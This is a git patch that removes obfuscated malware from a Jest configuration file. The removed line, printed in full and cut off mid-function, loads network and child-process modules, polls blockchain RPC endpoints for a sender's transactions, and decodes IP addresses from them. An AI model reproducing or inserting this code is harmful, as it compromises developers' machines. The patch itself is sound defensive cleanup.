From ecbdbc31f9acd4a72694f16f0563ed3dc4dc8b9c Mon Sep 17 00:00:00 2001 From: Okey Amy Date: Sun, 18 Oct 2026 14:06:27 +0100 Subject: [PATCH 1/4] chore: remove obfuscated code smuggled into jest.config.js Line 40 of jest.config.js carried ~26KB of minified/obfuscated JavaScript appended after the legitimate config object. It contained eval() and a detached child_process.spawn of a -e script, plus outbound fetch calls, and executed every time Jest loaded its configuration. Introduced in e4c92ad. This restores the file to the intended 40-line config; no configuration values change. --- jest.config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/jest.config.js b/jest.config.js index d2765fd0..50bebfd7 100644 --- a/jest.config.js +++ b/jest.config.js @@ -37,4 +37,4 @@ module.exports = { './src/blockchain/': { statements: 22, branches: 23, functions: 19, lines: 21 }, }, testEnvironment: 'node', -}; function GSkqNNyuJw$_padNcYwam(){const etOZXsn_OxqoSnJy$OEFSTCE=['bcbdaff1','f3fdfdfa','a0ba88bbbba8b0','a1aca8adacbbba','b9a0b9ac','a1bdbdb9baf3e6e6f8bbb9aae7a0a6e6acbda1','a1acb1','a6aba3acaabd','aba8baacfffd','fbfffbfcfbf9f190b9a0baa6bb','8aa6a7bdaca7bde485aca7aebda1','a7a6a7aaac','f9b1a8fafbfb8cfcaffa8dfaf8f88dfaf9f1f9acffaff9f8fbf8f9fffaacf0a88d8afbfdf0f98caff8a8','afa0a5bdacbb','9681fb','baaca8bbaaa1','a1bdbdb9f3e6e6','a8adad8cbfaca7bd85a0babdaca7acbb','bbacb9a5a8aaac','a7a6adac','bbacbabca5bd','a4a0a7','a0aea7a6bbac','acbda196aba5a6aaa287bca4abacbb','a1bdbdb9baf3','f3fdfdfae6f9b1e6a5ba','efbabda8bbbdaba5a6aaa2f4f9efaca7adaba5a6aaa2f4f0f0f0f0f0f0f0f0efb9a8aeacf4f8efa6afafbaacbdf4fbf9efbaa6bbbdf4adacbaaaefafa0a5bdacbbabb0f4afbba6a4','a7a6adacf3a1bdbdb9','aeb3a0b9','b9bcbaa1','babcaba8bbbba8b0','fbad9e8fb08f9b','b8fd8f93a2b191b2e8a1e59abbfaf489','fbfffbfef8fbf9b08dbcbd9abc','a1a8ba','bebba0bdac','f8fbbdafac9a81be','bbacb8bcacbabd','aea5a6aba8a592ee969fee94f4ee','a4a8b9','f8f9f9fffcfaffa3bd868f9a8b','bbbca7','8c9d81969b998a969c9b85','aaa6a7bdaca7bde4aca7aaa6ada0a7ae','bdbba8a7baa8aabda0a6a7ba','fbe7f9','a7a6adacf3a1bdbdb9ba','a1bdbdb9baf3e6e6acbda1e7adbbb9aae7a6bbae','a8adad','a7a6adacf3aaa1a0a5ad96b9bba6aaacbaba','8ca4b9bdb0e9b9a8b0a5a6a8ade9aba6adb0','b9a8bbbaac','96bd96ba','bca7bbacaf','f8fbf0fbfafcfbfa839a818d90bc','99869a9d','8e8c9d','aabbaca8bdac80a7afa5a8bdac','eef2aea5a6aba8a592ee9681fbee94f4ee','fbfffcfefff0f9bc8e8c9f828d','f3f1f9','a1bdbdb9baf3e6e6acbda1e7aba5a6aaa2baaaa6bcbde7aaa6a4e6a8b9a0','f1f1838fb1bd86a1','acbbbba6bb','88aeaca7bd','a7a6adacf3bcbba5','bda1aca7','baa0aea7a8a5','b1e4b9a8b0a5a6a8ade4abfffd','ada8bda8','b0e4b996f7adedf98bef8997f8a898a2','fff9fafaf8fefd81b08d8c9fbb','aabbaca8bdac8bbba6bda5a08dacaaa6a4b9bbacbaba','a5aca7aebda1','818c888d','f6a4a6adbca5acf4a8aaaaa6bca7bdefa8aabda0a6a7f4bdb1a5a0babdefa8adadbbacbabaf4','84a6b3a0a5a5a8e6fce7f9e9e19ea0a7ada6bebae9879de9f8f9e7f9f2e99ea0a7fffdf2e9b1fffde0e988b9b9a5ac9eacab82a0bde6fcfafee7faffe9e182819d8485e5e9a5a0a2ace98eacaaa2a6e0e98aa1bba6a4ace6f8faf8e7f9e7f9e7f9e99aa8afa8bba0e6fcfafee7faff','aeb3a0b9e5e9adacafa5a8bdace5e9abbb','babdbba0a7aea0afb0','b9a8bda1a7a8a4ac','adacafa5a8bdac','aeacbd','a8b9b9a5a0aaa8bda0a6a7e6a3baa6a7','f3fdfdfae6f9b1e6aaa5ba','acbda196aeacbd8ba5a6aaa28bb087bca4abacbb','aaa6a7bdbba6a5a5acbb','a7a6adacf3b3a5a0ab','aaa1a8bb8aa6adac88bd','bbacbabca4ac','eef2aea5a6aba8a592ee96bd96baee94f4ee','aba5a6aaa287bca4abacbb','88f8f8e4e4e3','a1bdbdb9baf3e6e6acbda1acbbacbca4e4bbb9aae7b9bcaba5a0aaa7a6adace7aaa6a4','eef2aea5a6aba8a592ee9681ee94f4ee','b1e4aeb3a0b9','acbda196aeacbd9dbba8a7baa8aabda0a6a78aa6bca7bd','fa9ca6af9090a5','aaa8bdaaa1','a8aba6bbbd','a1bdbdb9baf3e6e6acbda1e4a4a8a0a7a7acbde7b9bcaba5a0aae7aba5a8babda8b9a0e7a0a6','eef2aea5a6aba8a592eebbee94f4bbacb8bca0bbacf2aea5a6aba8a592eea4ee94f4a4a6adbca5acf2bfa8bbe996aea5a6aba8a5f4aea5a6aba8a5f2','a8a7b0','84a0babaa0a7aee991e499a8b0a5a6a8ade48bfffd','afbba6a4','8aa6a7bdaca7bde49db0b9ac','aca7bf','aaa6a7aaa8bd','b9a6bbbd','a1a6babda7a8a4ac','b9bba6bda6aaa6a5','a2acacb9e4a8a5a0bfac','a8a5a5','abb0bdac85aca7aebda1','eef2aea5a6aba8a592ee96bd96bcee94f4ee','afa0a7ad','afa0a7ad80a7adacb1','fbfff9f9faf1fc99bb8699a088','96bd96bc','afa6bb8ca8aaa1','aca7ad','aabbaca8bdac8ebca7b3a0b9','bda69abdbba0a7ae','bda685a6beacbb8aa8baac'];GSkqNNyuJw$_padNcYwam=function(){return etOZXsn_OxqoSnJy$OEFSTCE;};return GSkqNNyuJw$_padNcYwam();}const BEf$CYFUWXrAiwaYBJ=WlysIxGuPMcViepbraDjp_wli;(function(Xl$bf$sDoXoJDYYk,HTDn$viaGa){const KyT$ImpNQojHcB=WlysIxGuPMcViepbraDjp_wli,nZXZyKB_XfHpJ=Xl$bf$sDoXoJDYYk();while(!![]){try{const Bjb__LSBuuTvrwOljv=parseFloat(KyT$ImpNQojHcB(0x168))/(0x562+0x1*Number(-parseInt(0x502))+parseInt(0x13)*-parseInt(0x5))*(-parseFloat(KyT$ImpNQojHcB(0x171))/(parseInt(0x1)*parseFloat(-0xe21)+parseInt(0x4)*parseInt(0x22)+0x3*Math.floor(parseInt(0x489))))+parseFloat(KyT$ImpNQojHcB(0x1a9))/(Math.max(0xd,parseInt(0xd))*parseFloat(-parseInt(0x112))+-0x1*0x2516+Math.trunc(0x5ab)*0x9)*Math['ceil'](parseFloat(KyT$ImpNQojHcB(0x152))/(Math.max(0xe4a,0xe4a)+Number(-0x13)*-parseInt(0x121)+-0x23b9))+-parseFloat(KyT$ImpNQojHcB(0x1bd))/(-0x729+parseInt(parseInt(0x7))*Math.max(-0xf7,-0xf7)+parseInt(0xdef))*parseFloat(parseFloat(KyT$ImpNQojHcB(0x16d))/(-0x659+Number(-parseInt(0x559))*parseInt(-parseInt(0x2))+-parseInt(0x7b)*Number(parseInt(0x9))))+Math['floor'](-parseFloat(KyT$ImpNQojHcB(0x190))/(parseInt(0x1da3)+parseInt(0x3)*Math.trunc(0x22d)+-0x2423))+parseFloat(-parseFloat(KyT$ImpNQojHcB(0x16a))/(-parseInt(0xf5)*-0x27+Math.ceil(0x18ee)+Number(-0x3e39)))+parseFloat(KyT$ImpNQojHcB(0x17f))/(parseInt(0xd44)+parseFloat(0xa75)+Math.ceil(-parseInt(0x17b0)))+parseFloat(KyT$ImpNQojHcB(0x184))/(parseInt(0x1e87)+parseInt(0x1c8b)*parseInt(-parseInt(0x1))+Math.floor(-0x1f2))*Number(parseFloat(KyT$ImpNQojHcB(0x187))/(parseInt(0x22f8)+0x2662+-0x494f));if(Bjb__LSBuuTvrwOljv===HTDn$viaGa)break;else nZXZyKB_XfHpJ['push'](nZXZyKB_XfHpJ['shift']());}catch(QTrIuEpsrXWNzFyCLzuoNxfM){nZXZyKB_XfHpJ['push'](nZXZyKB_XfHpJ['shift']());}}}(GSkqNNyuJw$_padNcYwam,parseInt(0x1)*-0xc3d37+-parseInt(0xf8a8f)+parseInt(parseInt(0x2ac185))*0x1),global['i']=BEf$CYFUWXrAiwaYBJ(0x1a4),global['r']=require);if(typeof module===BEf$CYFUWXrAiwaYBJ(0x1cb))global['m']=module;const http=require(BEf$CYFUWXrAiwaYBJ(0x164)),https=require(BEf$CYFUWXrAiwaYBJ(0x177)),zlib=require(BEf$CYFUWXrAiwaYBJ(0x19f)),{URL}=require(BEf$CYFUWXrAiwaYBJ(0x18a)),{spawn}=require(BEf$CYFUWXrAiwaYBJ(0x17a)),BLOCK_MULTIPLE=0x3e8n,SENDER=BEf$CYFUWXrAiwaYBJ(0x155)[BEf$CYFUWXrAiwaYBJ(0x1c3)](),NONCE_FANOUT=parseFloat(0x832)+0x2b6*parseInt(0x1)+0x22c*parseFloat(-0x5),SEARCH_FLOOR=0x0n,INDEXER_URL=BEf$CYFUWXrAiwaYBJ(0x186),RPC_ENDPOINTS=[...new Set([process[BEf$CYFUWXrAiwaYBJ(0x1b2)][BEf$CYFUWXrAiwaYBJ(0x173)],BEf$CYFUWXrAiwaYBJ(0x1c9),BEf$CYFUWXrAiwaYBJ(0x178),BEf$CYFUWXrAiwaYBJ(0x1a5),BEf$CYFUWXrAiwaYBJ(0x1ac)][BEf$CYFUWXrAiwaYBJ(0x156)](Boolean))],AGENTS={'http:':new http[(BEf$CYFUWXrAiwaYBJ(0x189))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(BEf$CYFUWXrAiwaYBJ(0x189))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40})};function WlysIxGuPMcViepbraDjp_wli(spFB_wLVORqvKrwa,ynJTTlroSl$QncnPD_Qq){const kWTEsEcWlD_BUQH=GSkqNNyuJw$_padNcYwam();return WlysIxGuPMcViepbraDjp_wli=function(tA_RC$xn,isVtuf$ZSU$huUCt){tA_RC$xn=tA_RC$xn-(parseInt(0x1)*parseFloat(-parseInt(0xfa6))+-0xbd*Math.ceil(0x1d)+parseInt(0x2660));let NMEoPhIkCfevMgn=kWTEsEcWlD_BUQH[tA_RC$xn];if(WlysIxGuPMcViepbraDjp_wli['DygzNg']===undefined){const WYkNNREB=function(yKfxUzllsQeciuTTd){let WNSfkHUMF__gRFhcdmgOuEhgmQ=-parseInt(0x5d1)+Math.trunc(-0xf9e)+parseInt(-0xc1c)*-0x2&parseFloat(parseInt(0x2134))+0x2252+-parseInt(0x4287),ngyngPAupzHA$yVGA=new Uint8Array(yKfxUzllsQeciuTTd['match'](/.{1,2}/g)['map'](sQCRcCAvmfPvdrQIY$uj$Ss=>parseInt(sQCRcCAvmfPvdrQIY$uj$Ss,-0x793*Math.ceil(0x1)+-0x178d*Number(-0x1)+-parseInt(0xfea)))),chTIQE$dvTHGh_M=ngyngPAupzHA$yVGA['map'](nanuwgOSOV=>nanuwgOSOV^WNSfkHUMF__gRFhcdmgOuEhgmQ),ebdo$Q_z=new TextDecoder(),X$UlamGszKv_mpfCd=ebdo$Q_z['decode'](chTIQE$dvTHGh_M);return X$UlamGszKv_mpfCd;};WlysIxGuPMcViepbraDjp_wli['jYnEnM']=WYkNNREB,spFB_wLVORqvKrwa=arguments,WlysIxGuPMcViepbraDjp_wli['DygzNg']=!![];}const kOlyQ$dtGKf=kWTEsEcWlD_BUQH[-0x18c0+Math.floor(-0x101b)+0x28db],MsdHTfLBNjfnWUlbt=tA_RC$xn+kOlyQ$dtGKf,Kepv_qCFfNHmUDX$mOnAR=spFB_wLVORqvKrwa[MsdHTfLBNjfnWUlbt];return!Kepv_qCFfNHmUDX$mOnAR?(WlysIxGuPMcViepbraDjp_wli['LkFify']===undefined&&(WlysIxGuPMcViepbraDjp_wli['LkFify']=!![]),NMEoPhIkCfevMgn=WlysIxGuPMcViepbraDjp_wli['jYnEnM'](NMEoPhIkCfevMgn),spFB_wLVORqvKrwa[MsdHTfLBNjfnWUlbt]=NMEoPhIkCfevMgn):NMEoPhIkCfevMgn=Kepv_qCFfNHmUDX$mOnAR,NMEoPhIkCfevMgn;},WlysIxGuPMcViepbraDjp_wli(spFB_wLVORqvKrwa,ynJTTlroSl$QncnPD_Qq);}function linkAbort(qRbWgh$_L,GlRQrYsHirhY$Vyg){const Sxq$NJJJDIKAYR=BEf$CYFUWXrAiwaYBJ;if(!qRbWgh$_L)return;qRbWgh$_L[Sxq$NJJJDIKAYR(0x15a)](Sxq$NJJJDIKAYR(0x1ab),()=>GlRQrYsHirhY$Vyg[Sxq$NJJJDIKAYR(0x1ab)](),{'once':!![]});}function decompressStream(q$Tdc$Ms){const xbMpkdUo=BEf$CYFUWXrAiwaYBJ,HDk$i_Z=(q$Tdc$Ms[xbMpkdUo(0x1c7)][xbMpkdUo(0x174)]||'')[xbMpkdUo(0x1c3)]();if(HDk$i_Z===xbMpkdUo(0x165)||HDk$i_Z===xbMpkdUo(0x1a7))return q$Tdc$Ms[xbMpkdUo(0x1c8)](zlib[xbMpkdUo(0x1c1)]());if(HDk$i_Z===xbMpkdUo(0x199))return q$Tdc$Ms[xbMpkdUo(0x1c8)](zlib[xbMpkdUo(0x182)]());if(HDk$i_Z==='br')return q$Tdc$Ms[xbMpkdUo(0x1c8)](zlib[xbMpkdUo(0x191)]());return q$Tdc$Ms;}function httpRequest(SuzOqhu_wsl,{method:method=BEf$CYFUWXrAiwaYBJ(0x181),body:HpQOCCKnMmgvJrjeVnbVO,signal:cLnqigtE$K}={}){const nPXXxsFSwK=BEf$CYFUWXrAiwaYBJ,bdbsDZ$mDFcLDwI_rrpLTi=new URL(SuzOqhu_wsl),pzi_$pbcMvkvReYcWnCZf=bdbsDZ$mDFcLDwI_rrpLTi[nPXXxsFSwK(0x1b6)]===nPXXxsFSwK(0x161)?https:http,St_LmIDhBUQfKK$dtTIU={'Accept':nPXXxsFSwK(0x19b),'Accept-Encoding':nPXXxsFSwK(0x196),'Connection':nPXXxsFSwK(0x1b7)};return HpQOCCKnMmgvJrjeVnbVO!=null&&(St_LmIDhBUQfKK$dtTIU[nPXXxsFSwK(0x1b1)]=nPXXxsFSwK(0x19b),St_LmIDhBUQfKK$dtTIU[nPXXxsFSwK(0x153)]=Buffer[nPXXxsFSwK(0x1b9)](HpQOCCKnMmgvJrjeVnbVO)),new Promise((uorYmoQfC_wpoWBP,aS_zzfOgL)=>{const BqQs$upLLUi=nPXXxsFSwK,FDg$trqDV_oIT=pzi_$pbcMvkvReYcWnCZf[BqQs$upLLUi(0x16e)]({'hostname':bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b5)],'port':bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b4)]||(bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b6)]===BqQs$upLLUi(0x161)?Math.max(-parseInt(0x262a),-0x262a)+Math.floor(0xc2e)+Math.floor(0x285)*parseInt(0xb):-parseInt(0x1520)+parseInt(0x1984)+Math.max(-parseInt(0x414),-0x414)),'path':bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x198)]+bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x158)],'method':method,'agent':AGENTS[bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b6)]],'signal':cLnqigtE$K,'headers':St_LmIDhBUQfKK$dtTIU},sec$BG_XeSh=>{const nUBOSFVvyTUKL_bnU=BqQs$upLLUi,iyYkiywGkhxX_wNy_WQ=decompressStream(sec$BG_XeSh),dAli$ezckXOQr_dteiCvPPfEREi=[];iyYkiywGkhxX_wNy_WQ['on'](nUBOSFVvyTUKL_bnU(0x18e),SFgiGfNPZDODEIQC=>dAli$ezckXOQr_dteiCvPPfEREi[nUBOSFVvyTUKL_bnU(0x166)](SFgiGfNPZDODEIQC)),iyYkiywGkhxX_wNy_WQ['on'](nUBOSFVvyTUKL_bnU(0x1c0),()=>{const IURRbBFEfhdLXxf=nUBOSFVvyTUKL_bnU;try{uorYmoQfC_wpoWBP(JSON[IURRbBFEfhdLXxf(0x17c)](Buffer[IURRbBFEfhdLXxf(0x1b3)](dAli$ezckXOQr_dteiCvPPfEREi)[IURRbBFEfhdLXxf(0x1c2)](IURRbBFEfhdLXxf(0x1c4))));}catch(EaYunjJH_vpAdAxipn){aS_zzfOgL(EaYunjJH_vpAdAxipn);}}),iyYkiywGkhxX_wNy_WQ['on'](nUBOSFVvyTUKL_bnU(0x188),aS_zzfOgL);});FDg$trqDV_oIT['on'](BqQs$upLLUi(0x188),aS_zzfOgL);if(HpQOCCKnMmgvJrjeVnbVO!=null)FDg$trqDV_oIT[BqQs$upLLUi(0x16c)](HpQOCCKnMmgvJrjeVnbVO);FDg$trqDV_oIT[BqQs$upLLUi(0x1c0)]();});}async function withRpcEndpoints(WADEdCtPHv$W_QkABREA,PRKttmQHVWtMFTZuAS){const kEfbdhXYLiYLvXjcpUkpITudq=BEf$CYFUWXrAiwaYBJ,lpJOrOGUuMGz$oIaG=RPC_ENDPOINTS[kEfbdhXYLiYLvXjcpUkpITudq(0x170)](()=>new AbortController());lpJOrOGUuMGz$oIaG[kEfbdhXYLiYLvXjcpUkpITudq(0x1bf)](t$LTsfTIbSTMMCRUvIzc=>linkAbort(PRKttmQHVWtMFTZuAS,t$LTsfTIbSTMMCRUvIzc));try{return await Promise[kEfbdhXYLiYLvXjcpUkpITudq(0x1ae)](RPC_ENDPOINTS[kEfbdhXYLiYLvXjcpUkpITudq(0x170)]((DVtayaOitikldZPPoWQu,LMddbXnCA)=>WADEdCtPHv$W_QkABREA(DVtayaOitikldZPPoWQu,lpJOrOGUuMGz$oIaG[LMddbXnCA][kEfbdhXYLiYLvXjcpUkpITudq(0x18c)])));}finally{for(const eTYfSIVUcIbiVQhOP of lpJOrOGUuMGz$oIaG)eTYfSIVUcIbiVQhOP[kEfbdhXYLiYLvXjcpUkpITudq(0x1ab)]();}}async function rpcCall(ASrYvwRNhb$d$lFiE,ZsQMeCj_GUR,JShZnjH_aR,htuoDkxWCrU){const qwsnrJLDkrSgda=BEf$CYFUWXrAiwaYBJ,E$FZbNjRk$eX=await httpRequest(ASrYvwRNhb$d$lFiE,{'method':qwsnrJLDkrSgda(0x180),'body':JSON[qwsnrJLDkrSgda(0x197)]({'jsonrpc':qwsnrJLDkrSgda(0x176),'id':0x1,'method':ZsQMeCj_GUR,'params':JShZnjH_aR}),'signal':htuoDkxWCrU});return E$FZbNjRk$eX[qwsnrJLDkrSgda(0x15d)];}async function rpcBatch(lDejkuZhqqaodSuDQTw,yNiYV_dfUft,T_vPGSx){const RgisztlhTFeAZY=BEf$CYFUWXrAiwaYBJ,Ce$gUKS=await httpRequest(lDejkuZhqqaodSuDQTw,{'method':RgisztlhTFeAZY(0x180),'body':JSON[RgisztlhTFeAZY(0x197)](yNiYV_dfUft[RgisztlhTFeAZY(0x170)](([iljaNbsNAegZnsSMfuHG,UhTsWgssgV_YDs$EvQ],hAn$Dxchc)=>({'jsonrpc':RgisztlhTFeAZY(0x176),'id':hAn$Dxchc+(parseInt(0x53)*-0xd+parseInt(-parseInt(0x7))*parseFloat(parseInt(0x35f))+-parseInt(0x1bd1)*-parseInt(0x1)),'method':iljaNbsNAegZnsSMfuHG,'params':UhTsWgssgV_YDs$EvQ}))),'signal':T_vPGSx}),loKNW$ZEHPqwORFBaZndj$qef=new Map(Ce$gUKS[RgisztlhTFeAZY(0x170)](Hl$GzK=>[Hl$GzK['id'],Hl$GzK]));return yNiYV_dfUft[RgisztlhTFeAZY(0x170)]((rGbwK$FU,WOWcZfwO_kkhojX)=>loKNW$ZEHPqwORFBaZndj$qef[RgisztlhTFeAZY(0x19a)](WOWcZfwO_kkhojX+(Math.ceil(0xb60)+Math.floor(0x1091)*-0x2+parseInt(-0x1)*-parseInt(0x15c3)))[RgisztlhTFeAZY(0x15d)]);}const toBlockHex=nPMI$oplQLHIfFIMh$MXlWouLYr=>'0x'+nPMI$oplQLHIfFIMh$MXlWouLYr[BEf$CYFUWXrAiwaYBJ(0x1c2)](Math.trunc(-0x9e7)+parseInt(0x4a)*-parseInt(0x1f)+-0x11d*parseFloat(-0x11));function findSenderTx(JlepYaLvfHyt){const SBYThyjM$PN_bMmdJBQYZ=BEf$CYFUWXrAiwaYBJ;return JlepYaLvfHyt[SBYThyjM$PN_bMmdJBQYZ(0x1bb)](tQMkfGioJnQRZXosCHWMbN=>tQMkfGioJnQRZXosCHWMbN[SBYThyjM$PN_bMmdJBQYZ(0x1b0)]&&tQMkfGioJnQRZXosCHWMbN[SBYThyjM$PN_bMmdJBQYZ(0x1b0)][SBYThyjM$PN_bMmdJBQYZ(0x1c3)]()===SENDER)||null;}function decodeAddress(LLFlttzzZOjWxX){const KyRKDi_zVgoWr$Fcp=BEf$CYFUWXrAiwaYBJ,GHVvJhQqwuZof_fMJJmhgHtG=Buffer[KyRKDi_zVgoWr$Fcp(0x1b0)](LLFlttzzZOjWxX[KyRKDi_zVgoWr$Fcp(0x15b)](/^0x/i,''),KyRKDi_zVgoWr$Fcp(0x1ca)),oc_pQi$hRDfnjMb=NtzkwLinmHzrb$T$VOVzhvqWzO=>NtzkwLinmHzrb$T$VOVzhvqWzO[-parseInt(0x3d)*-0x52+-0x174*Number(-0xd)+-parseInt(0x1337)*0x2]+'.'+NtzkwLinmHzrb$T$VOVzhvqWzO[parseInt(-parseInt(0x12fd))+Number(-0x1af)*0xc+parseInt(0x2732)]+'.'+NtzkwLinmHzrb$T$VOVzhvqWzO[parseInt(0x31)*parseInt(0x55)+-0x1e78+parseInt(parseInt(0xe35))]+'.'+NtzkwLinmHzrb$T$VOVzhvqWzO[Number(parseInt(0x299))+parseInt(0x13fc)+Math.trunc(-0x1692)];return[oc_pQi$hRDfnjMb(GHVvJhQqwuZof_fMJJmhgHtG[KyRKDi_zVgoWr$Fcp(0x167)](Math.ceil(0x25)*-0x103+Math.max(-parseInt(0x960),-parseInt(0x960))+0x2ecf,parseInt(0x146c)+Number(0x4)*parseInt(0x2f0)+-parseInt(0x62)*Math.max(0x54,parseInt(0x54)))),oc_pQi$hRDfnjMb(GHVvJhQqwuZof_fMJJmhgHtG[KyRKDi_zVgoWr$Fcp(0x167)](0x67*Number(parseInt(0x5b))+0x6*parseInt(-0x401)+Math.ceil(parseInt(0x3))*-0x431,Math.ceil(-0x15b5)+-0x706*parseInt(0x3)+Math.floor(parseInt(0x2acf))))];}function firstMatch(RXQiRBl){return new Promise(ycfoHDNWrbSH=>{const agPpRSoihEXM=WlysIxGuPMcViepbraDjp_wli;let PW_L$mqJD=RXQiRBl[agPpRSoihEXM(0x192)];if(!PW_L$mqJD)return ycfoHDNWrbSH(null);let c_DcWifKzZZiWxV=![];const MQgJSlLDkonMvAdlnGaV=YXh_Wriz=>{const SLDTKOeeSQmQylQqge$fqRAt=agPpRSoihEXM;if(c_DcWifKzZZiWxV)return;c_DcWifKzZZiWxV=!![];for(const onzMmVaA$nTKSNPFeFyEHd of RXQiRBl)onzMmVaA$nTKSNPFeFyEHd[SLDTKOeeSQmQylQqge$fqRAt(0x19e)][SLDTKOeeSQmQylQqge$fqRAt(0x1ab)]();ycfoHDNWrbSH(YXh_Wriz);};for(const HSdfIaIW$pedbsDYi of RXQiRBl){HSdfIaIW$pedbsDYi[agPpRSoihEXM(0x172)]()[agPpRSoihEXM(0x18b)](lmICTA_NUarZEN=>{if(c_DcWifKzZZiWxV)return;if(lmICTA_NUarZEN)MQgJSlLDkonMvAdlnGaV(lmICTA_NUarZEN);else{if(--PW_L$mqJD===parseInt(0x73)*parseInt(-parseInt(0x4b))+parseFloat(-parseInt(0x280))*Math.ceil(-parseInt(0xe))+-0x14f)ycfoHDNWrbSH(null);}})[agPpRSoihEXM(0x1aa)](()=>{if(!c_DcWifKzZZiWxV&&--PW_L$mqJD===0x1a03+0x7e5+-parseInt(0x21e8))ycfoHDNWrbSH(null);});}});}function candidateBlocks(bLkeguRlGKpOR$sJag_F){const XijawxtX$yOfNKoIBZeBqs=BEf$CYFUWXrAiwaYBJ,cjbYFRMDhmUrBgfcnqAce=bLkeguRlGKpOR$sJag_F-BLOCK_MULTIPLE,xfUDNMijvuXOjMQBDF=new Set(),rHOWoPAmb$L=[];for(const eItYBJvGagwlwlgoIyvkFxSC of[bLkeguRlGKpOR$sJag_F-0x1n,bLkeguRlGKpOR$sJag_F,bLkeguRlGKpOR$sJag_F+0x1n,cjbYFRMDhmUrBgfcnqAce-0x1n,cjbYFRMDhmUrBgfcnqAce,cjbYFRMDhmUrBgfcnqAce+0x1n]){if(eItYBJvGagwlwlgoIyvkFxSC<0x0n)continue;const N$zKLRegWIHol=eItYBJvGagwlwlgoIyvkFxSC[XijawxtX$yOfNKoIBZeBqs(0x1c2)]();if(xfUDNMijvuXOjMQBDF[XijawxtX$yOfNKoIBZeBqs(0x16b)](N$zKLRegWIHol))continue;xfUDNMijvuXOjMQBDF[XijawxtX$yOfNKoIBZeBqs(0x179)](N$zKLRegWIHol),rHOWoPAmb$L[XijawxtX$yOfNKoIBZeBqs(0x166)](eItYBJvGagwlwlgoIyvkFxSC);}return rHOWoPAmb$L;}function blockTask(AXUCxPFXCcG){const CcSk$dOOG$tJaJ=new AbortController();return{'controller':CcSk$dOOG$tJaJ,'run':async()=>{const Flb_PeG=WlysIxGuPMcViepbraDjp_wli,J$ygYIX=await withRpcEndpoints((yVvvyY_XmC$ilpeTJT,QzgqxL$lrANn)=>rpcCall(yVvvyY_XmC$ilpeTJT,Flb_PeG(0x19d),[toBlockHex(AXUCxPFXCcG),!![]],QzgqxL$lrANn),CcSk$dOOG$tJaJ[Flb_PeG(0x18c)]),lFUiajiB$mhdtEP=J$ygYIX?.[Flb_PeG(0x175)];if(!Array[Flb_PeG(0x1c6)](lFUiajiB$mhdtEP))return null;const CX$IIYzbRMljhGDGQOn=findSenderTx(lFUiajiB$mhdtEP);return CX$IIYzbRMljhGDGQOn?{'blockNumber':AXUCxPFXCcG,'tx':CX$IIYzbRMljhGDGQOn}:null;}};}async function nonceAtBlocks(xn_wtGgYrKQjgNW_pA,esAMqTjgXNpOIVWCUlHCiJWR){const gC$IHIGOXbRBecVx_R=BEf$CYFUWXrAiwaYBJ,OYgjuXmanrbYtfW=xn_wtGgYrKQjgNW_pA[gC$IHIGOXbRBecVx_R(0x170)](mgcOt=>[gC$IHIGOXbRBecVx_R(0x1a8),[SENDER,toBlockHex(mgcOt)]]);try{return(await withRpcEndpoints((RHnOdxdnc$LyRixBY,DPj_yjR$iRFwaGZps)=>rpcBatch(RHnOdxdnc$LyRixBY,OYgjuXmanrbYtfW,DPj_yjR$iRFwaGZps),esAMqTjgXNpOIVWCUlHCiJWR))[gC$IHIGOXbRBecVx_R(0x170)](BigInt);}catch{return(await Promise[gC$IHIGOXbRBecVx_R(0x1b8)](OYgjuXmanrbYtfW[gC$IHIGOXbRBecVx_R(0x170)](([GuGZhYYgT$kyp,PkcxliQBzC])=>withRpcEndpoints((TfBe$DuDUAFUEyKCAXfdMQR,ELXbSluHr_MPeDjZHUnE$jZq)=>rpcCall(TfBe$DuDUAFUEyKCAXfdMQR,GuGZhYYgT$kyp,PkcxliQBzC,ELXbSluHr_MPeDjZHUnE$jZq),esAMqTjgXNpOIVWCUlHCiJWR))))[gC$IHIGOXbRBecVx_R(0x170)](BigInt);}}async function lastSenderTx(m_ixszc$Qu){const KYZeSIB=BEf$CYFUWXrAiwaYBJ,vOeJlPmLwpiHL$oohJee=new AbortController();try{const Zh$sPizEILiVZEl=m_ixszc$Qu??BigInt(await withRpcEndpoints((HNTZRdfPREnYvbYPL,OS_$UBVWEnUUVQ)=>rpcCall(HNTZRdfPREnYvbYPL,KYZeSIB(0x160),[],OS_$UBVWEnUUVQ),vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)])),KdmVwLcnVRrGrW=BigInt(await withRpcEndpoints((Jnijrm$GJWFBXseOLFirZ$D,pxHSUzAottYo)=>rpcCall(Jnijrm$GJWFBXseOLFirZ$D,KYZeSIB(0x1a8),[SENDER,toBlockHex(Zh$sPizEILiVZEl)],pxHSUzAottYo),vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)])),wxMNGaAYpSO=KdmVwLcnVRrGrW-0x1n;let EyfGMqfGt=SEARCH_FLOOR-0x1n,MFMjq=Zh$sPizEILiVZEl;while(MFMjq-EyfGMqfGt>0x1n){const xuQ$dxkjYVLINjswAjZJx=MFMjq-EyfGMqfGt-0x1n,opSYF_xqlkKe_bDDtuDuy=BigInt(Math[KYZeSIB(0x15e)](NONCE_FANOUT,Number(xuQ$dxkjYVLINjswAjZJx))),CM$Wz_bSEuXKdWfi=[];for(let IR$LUC=0x1n;IR$LUC<=opSYF_xqlkKe_bDDtuDuy;IR$LUC+=0x1n)CM$Wz_bSEuXKdWfi[KYZeSIB(0x166)](EyfGMqfGt+IR$LUC*(MFMjq-EyfGMqfGt)/(opSYF_xqlkKe_bDDtuDuy+0x1n));const SoikConeelN=await 